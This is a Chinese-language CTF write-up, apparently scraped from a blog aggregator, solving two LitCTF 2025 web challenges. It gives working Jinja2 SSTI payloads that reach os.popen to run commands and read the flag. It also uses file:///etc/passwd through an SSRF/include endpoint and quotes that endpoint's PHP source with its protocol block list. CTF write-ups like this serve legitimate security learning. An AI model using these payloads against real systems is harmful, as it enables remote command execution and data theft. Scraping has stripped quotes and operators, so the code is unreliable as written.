当前位置: 首页 > news >正文

[LitCTF 2025]星愿信箱easy_signin题解

[LitCTF 2025]星愿信箱测试下是否存在SSTI发现输入{{7*7}}被过滤了那就可能是题目中将{{}}进行了过滤进行绕过如果{{被过滤可以使用{% %}语法可以正常回显可以利用命令查看有那些函数把当前 Jinja2 模板执行环境上下文中所有可以直接调用的变量名、函数名全部列出来{%print(self.__dict__.TemplateReference_context.keys())%}进行测试这里用lipsum{% print(lipsum.__globals__[__builtins__][__import__](os).popen(whoami).read()) %}查看根目录下的内容找到flag文件{% print(lipsum.__globals__[__builtins__][__import__](os).popen(ls /).read()) %}因为这里对读取命令有一点小过滤所以进行绕过一下tac /f*{% print(lipsum.__globals__[__builtins__][__import__](os).popen(tac /f*).read()) %}使用config也可以{% print(config.__init__.__globals__[os].popen(whoami).read()) %}[LitCTF 2025]easy_signin题目403先扫一下目录扫到两个目录尝试登录一直显示账号错误然后账号不能进行修改修改前端代码更换账号也是显示账号错误查看下源码发现个api.js有个路径/api/sys/urlcode.php尝试读取/etc/passwd发现可以成功读取到?urlfile:///etc/passwdfile协议可用利用file协议进行源码读取查看源码得到源码中禁止的一些协议ftp://, php://, zlib://, data://, glob://, phar://, ssh2://, rar://, ogg://, expect://bfile:///var/www/html/api/sys/urlcode.php 的快照如下/bbrbrpre?php error_reporting(0); function curl($url){ $ch curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_exec($ch); curl_close($ch); } $url $_REQUEST[url]; if($url){ $forbidden_protocols [ftp://, php://, zlib://, data://, glob://, phar://, ssh2://, rar://, ogg://, expect://]; $protocol_block false; foreach ($forbidden_protocols as $proto) { if (strpos($url, $proto) 0) { $protocol_block true; break; } } $log_block strpos($url, .log) ! false; if ($protocol_block) { echo 禁止访问不允许使用 {$proto} 协议; } elseif ($log_block) { echo 禁止访问URL 包含 .log; } elseif (strpos($url, login.php) ! false || strpos($url, dashboard.php) ! false || strpos($url, 327a6c4304ad5938eaf0efb6cc3e53dc.php) ! false) { echo 看不见哦; } else { echo b.$url. 的快照如下/bbrbr; echo pre; curl($url); include($url); echo /pre; } } ?这直接访问这个/327a6c4304ad5938eaf0efb6cc3e53dc.php就得到了flag好像是非预期
http://www.gsyq.cn/news/1397519.html

相关文章:

  • 基于 RPA 的企业微信自动化 API 开发指南
  • 数字图像处理-11-图像的一些合成操作
  • 代码审查:团队协作与代码质量保障
  • 最近折腾了几个 AI 开源项目,最后发现最省事的还是先搞一个大模型中转站
  • 学术写作新纪元!2026全能型AI写作辅助软件深度解析
  • 全球十大男装排名公布,水甬后第一名耐穿性能拉满
  • Attention:我们都活在彼此的注意力机制里
  • linux 给普通用户授权root目录
  • 避开这些坑!Proteus仿真SRF04超声波模块的3个关键点与LCD1602显示优化
  • 量子电路切割技术在QAOA优化中的应用与原理
  • Google Agent Skills:云原生智能体能力库深度解析
  • 任意文件复制(字节缓冲流)
  • Git闯关手记-从登录到烧录与IDE延迟
  • Servlet Session 跟踪
  • 《Ionic 创建 APP》
  • 在Nodejs后端服务中集成多模型API以提升应用智能
  • AI 解散了,Grok 还在,马斯克的 AI 野心走到哪了?| 深度分析
  • 局域网 Ubuntu GPU 机器安装 GitLab Runner (用于GitLab的CI/CD,类似于Jenkins的Agent)完整教程
  • Win10下Python虚拟环境激活报错:深入解析ExecutionPolicy权限与管理员模式解决方案
  • Keil C51代码分页机制解析与嵌入式内存管理实践
  • Python事件驱动架构实战:构建高可用异步系统
  • SignFormer:基于Vision Transformer的静态手语识别模型解析与实战
  • DevOps文化建设:打破团队壁垒的实践经验
  • Go语言用户系统:认证授权实战
  • 程序验证理论
  • KK-HF Patch:如何解决恋活!游戏体验的三大核心痛点?
  • Flutter MVC架构详解:经典架构模式实战
  • 告别DOS!2024年Windows下硬盘健康检查,这3款工具最省心(附DiskGenius详细操作)
  • 降AI率天花板!AI率92%暴降至5%!实测10款降AI率软件!薅羊毛技巧!
  • AI学习——Agent 基础概念